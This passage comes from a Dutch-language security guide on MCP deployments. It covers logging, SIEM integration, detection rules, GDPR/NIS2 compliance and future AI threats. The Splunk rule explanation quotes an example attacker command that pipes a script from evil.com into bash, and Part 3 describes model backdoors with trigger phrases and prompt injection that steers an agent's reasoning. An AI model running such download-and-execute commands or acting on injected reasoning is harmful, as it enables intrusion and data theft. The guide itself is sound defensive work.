• Gestructureerd logging & tracing: Implementeer uniforme, gestructureerde logs voor alle MCP-interacties. Elke request, antwoord, fout moet een JSON log entry krijgen met velden als timestamp, user, session, tool, action, result, response_time, status. Dit maakt analyse een stuk makkelijker dan ongeformatteerde tekst. Gebruik waar mogelijk OpenTelemetry tracing voor MCP-calls: instrumenteer AI agent en MCP server code zodat elke call een trace-id heeft die in logs van zowel client als server terugkomt[28]. Zo kun je een heel verloop van prompt -> tool -> reactie reconstrueren. Distributed tracing is vooral nuttig als je een keten van microservices hebt in een agent workflow.
  • Voorbeeld: Claude Desktop start trace ID X voor prompt, mcp-remote logt ID X bij outgoing req, MCP server logt ID X bij binnenkomst en bij call naar API, enz. Dit is advanced maar krachtig bij debugging incidents (“waar liep het spaak?”).
  • Zorg dat logs geen gevoelige data bevatten tenzij nodig. Anonymiseer indien mogelijk (bv. userIDs hash).
• SIEM integratie (Splunk/ELK/Sentinel): Stuur alle relevante logs naar een centraal SIEM. Definieer parsing rules/dashboards voor MCP-activiteiten. Bijvoorbeeld:
  • Dashboard: Top 10 gebruikte tools per week per user; aantal mislukte MCP-auth attempts; frequentie van admin-achtige acties.
  • Correlatie: als logs aangeven “10 fouten in korte tijd van tool” combineer dat met host IDS alert, etc. SIEM kan regels bevatten als “Event X + Y binnen timeframe => alert”.
  • Splunk query taal is handig. Voor Windows integratie, forward Security Event Logs en application logs, en je kunt detectie queries zoals hierna gegeven draaien.
• Audit vereisten & compliance logs: Zeker voor overheid en kritieke sectoren moeten volledige audit trails bijgehouden worden: wie heeft welke data opgevraagd via AI, wat is er gewijzigd? Dit kan overlappen met standaard logs maar let op compliance: AVG geeft betrokkenen recht te weten hoe hun data gebruikt is – kun je, als iemand vraagt “heeft AI mijn dossier gezien?”, dat achterhalen? Zorg dat je ID’s logt en data categoriseert.
  • Misschien moet je aparte audit events loggen wanneer een tool met persoonsgegevens wordt aangeroepen.
  • Onder NIS2 en AI Act zul je mogelijk verplicht zijn bepaalde incidenten te rapporteren. Dan is het handig als logs duidelijk incidents markeren (bv. “security_error”: “no auth to tool X”).
• Performance monitoring (SLIs/SLOs): Houd ook performance metrics bij: uptime MCP servers, latency van calls, succesratio. Dit is op securityvlak nuttig omdat afwijkingen soms incidenten kunnen verraden (bv. als latency ineens sky high is, misschien DDoS of infinite loop). Maar ook gewoon voor betrouwbaarheid – AI integratie is alleen bruikbaar als het snel en stabiel werkt.
  • Stel SLOs op, bv. “95% van MCP requests < 500ms, en beschikbaarheid 99%”. Monitor dat met Prometheus/Grafana of cloud APM. Bij overschrijding kijken of root cause security gerelateerd is (soms wel, bijv. iemand doet scraping via AI).
  • Performance logs kunnen ook nuttig zijn bij blame/claim: als AI fout ging door vertraging in een tool, kun je dat aanwijzen.

Samen zorgt dit ervoor dat je een glasplaat hebt over je AI infra – je ziet wat er gebeurt (observability), je voldoet aan verantwoordingseisen (auditing), en je hebt data om op te reageren (monitoring).

Detectie engineering & threat hunting

Met goede logs kun je nu detectie regels en hunting queries ontwikkelen specifiek gericht op MCP dreigingen:

• Gedragsanalytics (ML-models voor afwijkingen): Dit overlapt met eerder anomaly detectie, maar toe te voegen: je kunt de logs voeden aan een ML engine om complexere patronen te spotten. Bijvoorbeeld een graph neural network die gebruikers, tools en acties als grafelementen ziet en afwijkende patronen (zoals een nieuwe verbinding tussen user en tool nooit eerder gezien) markeert. Of een clustering van gebruikerspatronen en dan 1 user valt eruit (misschien account takeover via AI).
  • Maar ML in SOC is nog pril, dus begin ook met simpler: threshold-based en baselines.
• Threat hunting use-cases: Security analisten kunnen proactief zoeken naar sporen van misbruik die niet triggered zijn:
  • Zoek in logs naar anomalous tool sequences (“system.shell” tool gebruikt? Hoe vaak, door wie? – die tool keurt commando’s goed, kan misbruikt).
  • Zoek naar tekenen van scanning: bv. een AI agent die 100x “open URL” doet naar oplopende IP-adressen, dat is vreemd (mogelijk iemand prompt injection om port scan te doen via AI).
  • Query voorbeeld Splunk: welke MCP servers hadden egress naar IPs buiten whitelist -> dat is potentieel incident.
• Memory dumps in logs: als attacker data uit /etc/passwd via tool stuurt, kan dat als gibberish string in log komen, dat kan je zoeken (bv. regex voor begin van ssh-rsa keys etc).
• Geautomatiseerd respons (SOAR): Bij kritieke detecties moet je snel kunnen handelen:
  • Stel detectie “MCP container maakt verbinding naar ongeautoriseerd IP” triggert – een SOAR playbook kan automatisch die Kubernetes Pod quarantainen (via kubectl drain of networkpolicy update), tokens intrekken en ticket maken.
  • Of als Windows event “mcp-remote launched powershell” komt, direct dat proces killen en endpoint isoleren via EDR API.
  • Dit soort automated containment is risicovol (false positive kans), dus doe het alleen voor hele duidelijke criteria. Alternatief: semi-automated – laat SOC analist op knop drukken in een dashboard dat alvast alles klaarzet (script to block IP etc).
• Forensics readiness (bewijsmateriaal & chain of custody): Zorg dat je in geval van een ernstig incident forensisch onderzoek kunt doen:
• Log retention: Bewaar relevante logs lang genoeg (NIS2 eist wellicht 3+ maanden), en beveilig ze (write-once storage, dat attacker niet retroactief kan wipen).
• Memory dumps & system images: Overweeg periodiek snapshots of een mechanisme dat bij afwijkend gedrag memory capture doet (bij containers is dat lastig, bij VMs kan wel).
• Endpoint telemetry: Als een dev machine critical is, heb dan EDR (Defender, Crowdstrike) logs paraat. Die bevatten processen, file mods, etc.
• Chain of custody: Als je verzameld bewijs (bijv. een malicious script gevonden), documenteer wie wat waar, zodat juridisch bruikbaar als strafbaar feit. Voor interne IT meestal niet tot op rechter-niveau nodig, maar bij bv. state actor hack wel goed om netjes te doen.
• Communicatie in IR: Dit is ook plan: wie verwittigen we? Bijv. als het een overheidsorgaan is, NCSC/NBV direct inschakelen. Of als burgerdata, AP (datalekmelding). In Nederland is goede samenwerking infra, en under NIS2 zal dat strakker worden – dus beter vooraf draaiboeken klaar.

Kort gezegd: detect & respond voor MCP moet net zo volwassen worden als voor klassieke IT, maar met aandacht voor AI-eigenaardigheden. Veel SOCs hebben nog geen ervaring met “AI prompt” als aanvalsvector, dus training en spelen met scenario’s (table-top exercities) is aan te raden zodat men weet wat te doen als een alarm afgaat dat “MCP suspicious egress” toont.

Specifieke detectieregels (Splunk, Falco)

Ter illustratie enkele detectieregels die direct inzetbaar zijn:

• Splunk regel (Windows RCE via mcp-remote):

Zoek in Windows event logs naar proces-creatie (4688) waar parent een mcp-remote proces is en het child een opvallend proces zoals PowerShell met encoded command:

index=win* EventCode=4688
ParentImage=”*mcp-remote*.exe”
(Image=”*powershell.exe” OR CommandLine=”*EncodedCommand*”)
| stats count by Computer, User, Image, CommandLine, _time

Uitleg: Dit detecteert wanneer een proces genaamd mcp-remote (of soortgelijk) een PowerShell start. Dat is exact wat bij CVE-2025-6514 exploit gebeurde (mcp-remote -> powershell met encoded command)[13][100]. Dit zou zeer weinig false positives moeten hebben; niet normaal dat die combinatie voorkomt. De stats geeft context van waar en wanneer, voor analist.

• Splunk regel (Kubernetes egress):

index=kube* container_image=”*mcp*”
(“curl” OR “wget”) (“http://” OR “https://”)
NOT (“api.github.com” OR “login.microsoftonline.com”)
| stats values(container_name) values(dest_ip) by url, _time

Uitleg: Dit kijkt in container logs of commands als curl/wget uitgevoerd worden naar URLs, en filtert bekende legitieme (hier bijv. GitHub API, MS login). Als een attacker inside container curl http://evil.com/payload.sh | bash doet, vang je dat. Het is niet waterdicht (attacker kan andere tool gebruiken), maar het is een start. Je zou ook vanuit firewall logs kunnen triggeren: container maakt connect naar onbekende IP -> query container logs voor URL patterns.

• Falco regel (verdachte egress van MCP container):

– rule: Verdachte uitgaande verbinding van MCP container
  desc: Detecteer uitgaande verbindingen van MCP pods naar niet-gewhitelistede bestemmingen
  condition: outbound and container and k8s.pod.label.app=”mcp-server”
            and not outbound.address in (10.0.0.0/8, 192.168.0.0/16, …)
  output: “MCP pod %container.name doet egress naar %fd.rip:%fd.rport”
  priority: WARNING

Uitleg: Falco draait op node en ziet socket uitgaand (outbound), checkt dat proces in container met label app=mcp-server, en dat het remote IP niet in vertrouwde range lijst staat (die lijst moet je invullen, bijv. interne en bekende externen). Als dit triggert, is dat potentieel malicious egress. Falco kan dat realtime loggen of zelfs een script triggeren (bijv. om networkpolicy nog strenger te maken).

Deze voorbeelden tonen hoe we de kennis van het aanvalspad kunnen omzetten in detectieregels. Belangrijk is ze te testen op noise en actualiteit. Wellicht dat voor Linux wat aanpassing nodig is (monitoring van processen binnen container kan ook via Falco: b.v. detecteer als container proces een shell spawnt generiek nuttig).

Door een bibliotheek van zulke regels uit te bouwen en up-to-date te houden (in samenwerking met threat intel als er nieuwe MCP exploits komen, direct rules maken), ontwikkel je een maatwerk detectiecapability specifiek voor AI threats, wat een flinke voorsprong geeft op aanvallers.

Privacy & Data Protectie: gegevensstromen en compliance borging

MCP treedt op als datamakelaar tussen AI en allerlei gegevensbronnen. Dit roept forse vragen op rond privacy, data bescherming en naleving van Europese normen (AVG/GDPR, NIS2, eIDAS, etc). In deze sectie bekijken we dataflow mapping (waar gaan persoonsgegevens?), privacy-enhancing tech, en specifieke Nederlandse compliance vereisten.

Dataflow mapping & PII-beheer

Eerst moet inzichtelijk zijn welke data via MCP stroomt en hoe die beschermd wordt:
– PII-identificatie en tagging: Implementeer tooling die automatisch herkent als MCP-verkeer persoonsgegevens bevat. Bijvoorbeeld, als een MCP-server content uit een database haalt, laat dan kolommen als Name, Email, BSN taggen. Dit kan via data classification tools of door in de API respons mee te geven “gevoeligheid: high”.
– Ook kan de AI output realtime gescand op PII (zoals DLP eerder). Belangrijk is niet alleen detectie maar ook loggen: “deze tool output bevatte PII van type X”.
– Context-analyse: Hou bij waarom die data gebruikt wordt. Dit is lastig automatisch, maar men zou in logging een veld “purpose” kunnen bijhouden. Zo kun je achteraf verantwoorden dat data voor legitiem doel is gebruikt (AVG vereist doelbinding). Mogelijk zelfs users vooraf laten aangeven “gebruik mijn data alleen voor X”.
– Gegevensstromen visueel maken: Een data flow diagram van MCP in de organisatie is nuttig: AI client (verwerker) -> MCP server -> databron (verwerkingsverantwoordelijke?), terug etc. Bepaal per stap de rol (controller/processor) in AVG-term. AI vendor bijv. kan sub-processor zijn. Dit moet je juridisch kloppend hebben met verwerkersovereenkomsten. Een DFD helpt die conversaties te voeren.

• Grensoverschrijdende analyse (data residency): Check waar data langs gaat:
  • Draait MCP server in EU of US? Dit bepaalt of dataoverdracht buiten EU plaatsvindt (Schrems II relevant).
  • Veel LLMs zitten op US cloud. Als je via MCP data naar OpenAI stuurt, is dat export. Moet je SCCs (Standard Contractual Clauses) voor hebben, en wellicht dat niet willen voor gevoelige data.
  • Mogelijk oplossing: gebruiken van EU-based LLM endpoints of on-prem LLM (dan blijft data intern).
  • Data residency policies: definieer dat bepaalde data (bv. staatsburgers info) niet via cloud-MCP mag tenzij EU-only. Dit is technish enforceable door tagging data en gating flows.
• Dataretentie beleid: MCP’s slaan vaak tokens, config en caches. Stel een retentiebeleid op:
  • Logging retention: bv. conversatielogs bewaren max 30 dagen voor toezicht, daarna wissen (tenzij incident).
  • Tool data caching: Als MCP server resultaten buffert (voor performance) moet dat ook beperkt en beveiligd.
  • Legal hold mogelijkheid: Als er een juridische kwestie is, moeten we logs/data van MCP misschien langer vasthouden; dat kan botsen met privacy (minimale bewaartermijn). Hier moet compliance officer afwegingen maken en beleid paraat hebben.
• Consent management integratie: Stel een AI agent kan data uit bv. een HR-systeem halen. Medewerkers moeten daar wrs toestemming voor geven, of op zn minst geïnformeerd zijn. Integratie met een Consent Management Platform (CMP) kan betekenen: gebruiker ziet in de AI interface een knop “Connect je Gmail -> [ ] Ik geef toestemming dat AI mijn mails leest en handelt in kader van X tot Y datum.” Die toestemming moet gelogd en herroepbaar zijn. Bij intrekken moet de MCP token ingetrokken en data eventueel gewist.
  • Onder AVG moet je aan aantoonbare toestemming voldoen bij niet-noodzakelijke verwerkingen. Bedenk scenario’s: AI support agent mag klantdata in CRM lezen -> klant moet dit weten wellicht, en kunnen weigeren.
  • Dit is overigens complex in real-time, maar conceptueel zou je CMP prompts vooraf laten komen (“AI wil nu je agenda gebruiken, sta je dat toe?” – soort OAuth consent screens, maar dan intern).
  • In enterprise context kun je werken met gebundelde consent (bij indiensttreding akkoord dat AI je mailbox kan scannen voor werkdoeleinden). Maar toch, audits zullen vragen: hoe zorgen jullie dat AI niet privacy schendt?

Het doel van deze mapping is dat data niet ongecontroleerd door AI “zwart gat” gaat, maar dat er governance op zit net als op normale data-uitwisseling. Tools als Collibra (data governance) of OneTrust (consent) kunnen hier nuttig zijn.

Privacy-Enhancing Technologies (PET) in AI context

Om privacy te beschermen zonder functionaliteit op te offeren, kan men naar PETs (Privacy Enhancing Tech) grijpen:

• Differential Privacy (DP): Dit voegt ruis toe aan output zodat individuele gegevens niet herleidbaar zijn maar statistische inzichten blijven. In AI zou je bij logging of analytics van AI-interacties DP kunnen toepassen: bijv. als je gebruiksstatistieken wilt delen, tel dan interacties met epsilon privacy zodat je niet zeker weet dat persoon X dat deed.
  • Ook in prompt logs: als je conversation logs voor modeltraining wil gebruiken, zet DP filter zodat geen unieke PII lekt (bijv. alle bedragen +/- 5% aanpassen random). Zo blijft model leren maar niet exacte data.
  • Dit is wel advanced en moet zorgvuldig (ruisniveau instellen etc, anders degrade output erg).
  • Microsoft bijvoorbeeld past DP toe in Telemetry vaak, en Google in sommige analysetools. Voor eigen systemen zal dat tooling vereisen (OpenDP libs of zo).
• Homomorphic Encryption (HE): Dit laat toe om berekeningen op versleutelde data uit te voeren. In AI context is dit zoiets als: versleutel data, laat LLM bewerkingen doen zonder decryptie, en krijg versleuteld resultaat dat je lokaal weer decrypt. Klinkt ideaal (LLM ziet nooit raw data), maar is nog niet praktisch voor complex AI berekeningen – huidige HE is traag en beperkt (voornamelijk goed voor vaste algoritmes, niet generative AI).
  • Echter, voor specifieke MCP use-case (bv. doorzoek versleutelde database) kan partially HE of Searchable Encryption wel. Als je wil dat AI mails doorzoekt zonder mails echt prijs te geven: store mails encrypted en AI heeft een search index dat homomorphically kan zoeken of zo. Dit is actieve research.
  • In meer nabije termen: end-to-end encryption van verkeer (zodat cloud LLM niets ziet) gaat niet want LLM moet content ontcijferen om er iets mee te doen. Inference in enclave is betere aanpak in praktijk (Confidential computing).
• Secure Multi-Party Computation (SMPC): Hierbij verdelen meerdere partijen hun data zodanig dat ze gezamenlijk een berekening doen zonder elkaar’s input in te zien. Voor AI kan dit gebruikt worden voor federated learning of inference: bijvoorbeeld 2 organisaties willen samenwerken dat hun AI’s elkaars data deels gebruiken zonder onthulling. SMPC protocollen (bv. Yao’s garbled circuits of secret sharing) kunnen een model trainen op gecombineerde data zonder raw data te delen.
  • Voor inference zou het kunnen dat AI agent vragen naar externe data stelt en via SMPC de data-eigenaar alleen het antwoord teruggeeft in versleutelde vorm. Dit is nog niche.
  • Concreet toepasbaar nu: federated learning frameworks (TensorFlow Federated, PySyft) gebruiken SMPC/DP combinaties zodat bv. een ML model bij banken getraind kan worden zonder klantdata centraal te verzamelen.
  • In EU is hier veel aandacht voor (Gaia-X en datasoevereiniteit projecten stimuleren dit), misschien bruikbaar in cross-organisatorische MCP netwerken (zie NL specifieke dreigingen sectie).

Hoewel PET’s nog experimenteel lijken, zullen ze in de EU AI Act context veel aandacht krijgen, want die act stimuleert inzet van PET’s om compliance en innovaties samen te brengen. Nederlandse overheid zou proactief PET pilots kunnen doen (zoals BZK’s eerder proeven deed met Attribute Based Credentials etc). In elk geval moet het security team PET ontwikkelingen volgen, want wat nu academisch is kan over paar jaar best practice zijn voor AI data bescherming.

Nederlandse compliance specifiek: AVG, NIS2, NCSC-richtlijnen

Tot slot enkele punten specifiek voor Nederlandse context en regelgeving:

• AVG-implementatie (GDPR): Naast wat al besproken (toestemming, data minimalisatie) zijn een paar praktische zaken:
• Verwerkersovereenkomst: Als je AI tooling van derden gebruikt (OpenAI API, Anthropic, etc) sluit een verwerkersovereenkomst of zorg dat hun standaard voorwaarden voldoen. Soms staat in OpenAI ToS dat ze data kunnen gebruiken om hun model te verbeteren tenzij je een enterprise plan hebt dat is potentieel AVG-issue. Zorg dat contractueel geregeld dat data niet voor hun eigen doelen wordt gebruikt (tenzij geanonimiseerd en toegestaan).
• DPIA uitvoeren: Zeker bij grootschalig gebruik van MCP op persoonsgegevens eist AVG een Data Protection Impact Assessment. Documenteer daarin alle risico’s (lekken, bias, etc) en maatregelen. Dit rapport kan bij AP controle je redding zijn.
• Rechten ondersteunen: Mocht een burger zeggen “vergeet mij” en zijn data zat in AI knowledge, moet je zorgen dat die data uit de MCP-index of knowledgebase verdwijnt. Dit is een nieuw probleem als AI model lokaal gefinetuned is op data, hoe verwijder je een persoon? Misschien door prompt instructies achteraf te filteren of notities in model. Lastig, maar wel iets om over te denken in compliance hoek.
• Beveiligingsincidentmelding: AVG heeft meldplicht datalekken binnen 72 uur. Een MCP exploit dat tot data theft leidde valt daaronder. Zorg dat je processen hebt dat privacy officer direct in loop komt bij security incident op MCP.
• NIS2-vereisten (kritieke sectoren): NIS2 gaat o.a. verplichten:
• Risk management maatregelen op ICT (MCP valt hier zeker onder). Dit overlapt veel met wat we in niveau 1-2 al zeiden.
• Incident reporting: binnen 24u notice en 72u update. Dus een MCP incident dat operationele impact heeft moet snel gemeld. Voorbereiding: definieer wat triggers melding (bv. RCE gecompromitteerde server waarin data X zat).
• Beveiliging supply chain & open source: NIS2 benadrukt ketenbeheer, ook van OSS. Je moet kunnen aantonen dat je b.v. SBOMs hebt, vuln management. Alles wat we bij supply chain zeiden helpt NIS2 compliance.
• Zeer kritieke vulnerabilities patchen: De Nederlandse wet implementatie van NIS2 zal mogelijk voorschrijven dat “bekende exploits” direct gepatcht moeten. CVE-2025-6514 zou daar onder vallen. Niet patchen zou leiden tot boete bij inspectie als het mis gaat. Dus governance op patchmanagement is key: hoe verzeker je dat als JFrog morgen CVE-2025-7000 ontdekt, je binnen dagen updatet?
• NCSC-NL richtlijnen & handreikingen: NCSC biedt diverse guides (ICT baseline overheid, cloud security, logbestanden handleiding, etc).
  • De Baseline Informatiebeveiliging Overheid (BIO) is de norm die sterk leunt op ISO27002. Zorg dat je MCP controls daaraan spiegelt. Bijv. logging (BIO auditability), toegangsbeheer (principle of least privilege), change management (voor nieuwe AI tools), enz.
  • Er is ook NCSC guidance op AI (in ontwikkeling). Sowieso heeft de overheid een Strategisch Actieplan AI met aandacht voor betrouwbare AI. Dit combineert zich hier: MCP security draagt bij aan betrouwbaarheid.
• AIVD dreigingsbeeld: De AIVD brengt periodiek dreigingsbeelden uit, vaak benoemen ze spionage via IT. Als AI-systemen data aggregator worden, zullen statelijke actoren daarop mikken. Dit kader moet je naar bestuur kunnen communiceren (“NCTV/AIVD waarschuwen dat AI kan worden misbruikt voor spionage; onze MCP beveiligingsprogramma adresseert dit proactief”).

In essentie: Zorg dat MCP en AI integraties niet in een vacuum gebeuren maar ingebed zijn in bestaande compliance structuren. Laat auditors en security officers meekijken bij ontwerp en operatie het is nieuw terrein dus werk samen om best practices te vormen. Dat voorkomt boetes en verhoogt vertrouwen van publieke in AI innovaties van de overheid en bedrijven.

Bovenstaande sectie heeft veel concrete details en aanbevelingen gegeven. Hiermee kunnen technische teams direct aan de slag om hun MCP deployments te versterken, terwijl de organisatie voldoet aan relevante normen en voorbereid is op incidenten.

Deel 3: Geavanceerde dreigingsscenario’s, toekomstverkenning en strategie

Tot slot kijken we vooruit naar opkomende dreigingen, evoluerende regelgeving en technologische trends. Deze foresight helpt organisaties om niet alleen huidige risico’s te managen, maar ook future-proof te worden. We bespreken nation-state APT scenario’s, nieuwe aanvalsvectoren, specifiek Nederlandse risico’s, de ontwikkeling van compliance-eisen, cloud-architectuur evolutie, cutting-edge onderzoek en lange-termijn strategische principes.

Geavanceerde dreigingsscenario’s (APT’s en emerging threats)

Nation-state APT dreigingen

Staatsgesponsorde hackers (met name uit Rusland, China) richten zich traditioneel op strategische doelen: overheid, kritieke infrastructuur, high-tech bedrijven. MCP en AI-infrastructuur zullen in hun vizier komen als middel om toegang en invloed te krijgen:

• Supply chain poisoning (gecoördineerde supply-chain aanvallen): Denk aan een SolarWinds-achtige aanval maar dan gericht op AI/MCP. Een APT kan heimelijk schadelijke code inbrengen in populaire MCP packages of model-plugins. Bijvoorbeeld, een ogenschijnlijk nuttige open-source MCP plugin voor Office 365 zou door een APT team kunnen zijn ontwikkeld met een achterdeur erin, en via dependabot updaten sluipt het overal naar binnen. Gezien MCP’s vaak open-source zijn en updates rap volgen, is het een vruchtbaar doelwit. Attributie is lastig: als over 2 jaar ineens blijkt dat een veelgebruikte MCP library een subtiele exploit had (bv. alleen activeert als target “.gov.nl” detecteert), is dat pas laat te ontdekken. Dit scenario vereist een security posture waarbij men nooit blind vertrouwt op extern code, hoe populair ook essentie Zero Trust supply chain. Ook internationale samenwerking is nodig: EU landen die samen code auditen (zoals men nu Linux auditt).
• Living off the Land via MCP: APT’s zijn meesters in “living off the land” misbruik maken van legitieme tools op systemen om niet op te vallen. In context van AI: een aanvaller in een netwerk kan de aanwezige AI-agenten/MCP’s misbruiken voor eigen doelen. Bijvoorbeeld, een implant zou AI kunnen aansturen om via MCP bedrijfsdata te verzamelen en exfiltreren, vermomd als normale AI-queries. Dit zou in logs lijken op user-gedrag en dus moeilijker detecteerbaar zijn. Ook kunnen ze via bestaande MCP-servers pivotten: als een MCP server zonder authenticatie intern draait (zoals dat MCP Inspector geval), kan de APT dat als springplank gebruiken (Pivoting). Dus MCP kan net zo misbruikt worden als b.v. PsExec of WMI – ingebouwd gereedschap. Dit betekent dat defensie ook moet kijken naar AI-bewegingen bij threat hunting (“waarom vraagt AI ineens alle financiële gegevens op?”).
• AI model poisoning & backdooring: Een zeer geavanceerd scenario is dat een APT de AI-modellen zelf compromitteert. Bijvoorbeeld, een door Rusland geleverde MCP-server met een LLM plugin voert ongemerkt een adversarial poisoning uit: het manipuleert output van AI in subtiele manier of laat onopgemerkt misinfo passeren die voordelig is voor die actor. Of ze verstoppen een backdoor in het model (b.v. als prompt exact hun triggerzin bevat geeft AI geheime info vrij). Dit is reëel: er zijn al onderzoeken naar Trojaning AI models. Combineer dat met MCP – als een APT een populair open-source model “verbetering” aanbiedt die veel devs integreren, kan die trojan overal geladen worden. De implicatie is dat vertrouwenswaardigheid van AI output ondermijnd wordt. Organisaties die AI inzetten in beslissingen (bv. om netwerk alerts te triageren) zouden zo gemanipuleerd kunnen worden in voordeel van de aanvaller.
• Dit vraagt om model provenance en verifieerbaarheid: dat je kunt bewijzen dat je model van wie het zegt dat het is en niet stilletjes aangepast. Blockchain of watermarks kunnen daar een rol gaan spelen.
• Kritieke infrastructuur en OT/ICS: AI en MCP dringen uiteindelijk ook door in operationele technologie (OT) – denk aan slimme energiesystemen, fabrieken die AI gebruiken om processen te besturen. Een MCP in een waterzuiveringsinstallatie die AI verbindt aan PLC’s (theoretisch, maar richting Industry 4.0 best mogelijk) kan doelwit worden. APT’s zouden die route verkiezen omdat traditionele ICS netwerken nu beter gescheiden worden, maar AI bridging vormt een nieuwe connectie tussen IT en OT. Bv. een AI die zowel kantoor- als productiedata ziet via AI een pivot naar OT. Scenario: een AI krijgt opdracht om “optimaliseer centrifuge settings”, een attacker manipuleert de context zodat AI gevaarlijke instructies geeft, via MCP naar PLC sabotage. Dit is safety-security convergentie: een hack die fysieke schade kan doen via AI.
• Dit vereist dat ICS-beveiligers AI integratie serieus bekijken. Misschien wel streng isoleren (AI mag hooguit advies geven, geen direct stuurcommando’s zonder mens tussen).

Kortom: Nation-state hackers zullen AI/MCP benutten op manieren die we nu pas net ontwaren. Organisaties in kritieke sectoren moeten nu al scenario’s bedenken en oefenen:
– Threat modelling inclusief “Attacker gebruikt onze eigen AI tegen ons”.
– Intelligentie delen via gov/ISAC over waargenomen verdachte AI-activiteiten.
– Bij inkoop van AI-software kijken naar supply chain (liever EU-leveranciers i.p.v. mogelijk door tegenstanders beïnvloedde tools).
– Potentieel zelfs AI uit bepaalde hoog-risicolanden weren (vergelijk discussie Kaspersky in overheid). Bijvoorbeeld, is het verstandig Chinese LLMs of plugins te gebruiken in Nederlandse overheidscontext? Dat vraagt risk assessment (FISA in VS vs Chinese Cybersecurity law beide relevant).

Opkomende aanvalsvectoren

Naast APT’s zijn er nieuwe, meer conceptuele aanvalsvectoren aan de horizon:

• Reasoning chain manipulatie (cognitive attacks): In advanced prompt injection manipuleert de aanvaller niet alleen de instructies, maar de denkstappen van de AI. Ze kunnen proberen de chain-of-thought die het model intern vormt om te leiden (met eerder geteste triggers). Voorbeeld: een attacker geeft een AI-agent een payload dat ervoor zorgt dat het agent denkt “ik moet nu escaleren privileges” terwijl de prompt dat niet expliciet vraagt. Dit is een soort “metaprompt” hack, waarbij de aanval gericht is op de cognitieve logica van de agent. Omdat MCP van output naar actie gaat, kan het model dat pad misbruiken. We staan hiermee aan begin, maar research (“Stealing the Prompt via Chain hijacking” etc) bestaat al.
  • Oplossing moet komen van robuste agent frameworks die validate reasonings (een soort sanity-checker agent die redenering naleest voor uitvoering).
  • Cognitieve security is echt nieuw domein: hoe bescherm je tegen een AI die creatief gehackt wordt? Herkennen wanneer een redenering “out-of-policy” raakt, wellicht door second AI.
• Federatieve netwerken & trust boundaries: Als organisaties hun AI’s laten samenwerken (federated MCP networks), ontstaat een federated trust model. Bijvoorbeeld, gemeente A deelt bepaalde AI-tools met gemeente B in een federatie. Dan is A afhankelijk van B’s security. Een aanval via B’s zwak beveiligde AI kan A compromitteren.
  • Idem internationaal: EU denkt aan AI-as-a-Service hubs (GAIA-X achtig). Dit lijkt op single sign-on trust: als één partij compromised, aanvaller kan via trust links veel bereiken.
  • Dit scenario is waarschijnlijk: AI’s gaan elkaar vinden over bedrijfsgrenzen. Security implicatie: gebruik zero trust ook hier: digitale identiteit voor elke AI node, restricties per partner.
  • En mogelijk ontstaan MPC (multi-party compute) achtige protocollen voor AI-chains die veiligheid afdwingen, zie PET’s.
  • Praktisch: definieer in een federatie wie aansprakelijk is bij incident? Welke baseline security alle leden moeten volgen? Anders is zwakste schakel entree voor allen.
• Quantum resistance & cryptografie: Binnen ~10 jaar komen quantumcomputers mogelijk die asymmetrische cryptografie kunnen breken. Dat raakt uiteraard alle TLS, JWT, code signing – de hele basis van vertrouwens in MCP.
  • NIST heeft post-quantum crypto standaarden gekozen (CRYSTALS-Kyber, Dilithium). Organisaties moeten op tijd migratie plannen: inventariseer waar cryptografie in AI flows zit (certs, tokens, HSM keys).
  • PQC algoritmes zijn minder efficiënt en grotere sleutel, wat performance-impact kan hebben op e.g. TLS handshake. Goed nieuws: wellicht zijn HPC/clusters wel sneller tegen die tijd om dat te compenseren.
  • Begin test nu: experimenteer met PQC TLS in lab (OpenSSL 3 met OQS kan dat).
  • Daarnaast: quantum dreiging kan ook dataverkeer retrospectief breken. Dus als heel gevoelige data nu via TLS 1.2 gaat, een nation-state kan dat opslaan en over 10 jaar decoderen. Voor écht gevoelige AI data is nu al Classified encryption (OTP of PQC) nodig als je dat scenario vreest.
  • Overweeg ook fysiek random keys for OTP voor meest kritieke dingen – kostbaar maar theoretisch de enige info-theoretic veilige manier.
• Side-channel analyse aanvallen: Niet nieuw, maar mogelijk in AI context: timing-aanvallen, memory scraping e.d.
  • Een adversary die geen direct toegang heeft tot data maar wel observeren kan hoe AI reageert (timing of token usage) zou daar info uit kunnen destilleren (bv. welk pad in code bewandeld wat wellicht correleert met bepaalde gevoelige data of niet). Er is research in “model inversion” – uit outputs herleiden wat in training data zat.
  • Concreet: een cloud AI API geeft net iets andere latency als antwoord X vs Y (afhankelijk of er in dataset iets gevonden is of niet) – attacker kan via binary search gevoelige details achterhalen (covert channels).
  • Beperken: zorg dat AI responses constant-timing zoveel mogelijk, en dat het niet teveel verraadt.
  • Echter moeilijk echt te sluiten. Klassieke side-channels (power usage, acoustic) minder van toepassing hier, behalve als je zelf on-prem ML accel hebt – dan opletten dat iemand niet stiekem EM straling meet om model weights te stelen.

Nieuwe vectoren evolueren constant. Beste verdediging is een proactieve mindset: volg academisch onderzoek, doe interne red-team van AI (zet eigen mensen of externe in om creatief AI te hacken). Dat wat vandaag theoretisch is, kan morgen praktijk zijn. Een organisatie die de luxe heeft een Innovatie, Data of AI lab of afdeling te hebben, moet zeker focus op AI security research zetten, zodat ze voorop blijven.

Nederlandse specifieke dreigingen

Nederland heeft unieke dreigingsbeelden door haar geopolitieke positie en hoog digitale afhankelijkheid:

• Geopolitieke risico’s: AIVD en MIVD rapporteren dat statelijke actoren, met name uit Rusland en China, actief zijn tegen Nederlandse belangen (diefstal bedrijfsgeheimen, politieke beïnvloeding). De introductie van AI-systemen geeft hen nieuwe kansen:
  • Chinese actoren kunnen proberen Nederlandse AI-infrastructuren te infiltreren om bijv. gevoelige onderzoeksdata of diplomatieke info te stelen. Als Nederland GAIA-X cloud gebruikt, zou China via supply chain daarin proberen te komen.
  • Russische hackgroepen, bekend van NotPetya etc, zouden destructieve aanvallen kunnen uitvoeren: een supply chain aanval op veelgebruikte AI devtools die alle systemen versleutelt of wist (state-sponsored sabotage verkleed als ransomware).
  • Er is ook zorg over informatieoperaties: Deepfake AI etc. Hoewel dat net buiten MCP valt, zou een actor bijv. een plugin in AI sluizen die desinformatie in rapporten mengt (stel ambtenaren gebruiken AI voor samenvattingen en er sluipt een bias of onwaarheid in strategische documenten).
• Risico’s voor kritieke sectoren NL:
  • Havens & logistiek: Rotterdam haven is zeer geautomatiseerd; als AI ingezet wordt om logistiek te stroomlijnen, een aanval daar kan handel verstoren. Bovendien criminelen (drugs) zouden AI kunnen hacken om containers buiten scans te houden.
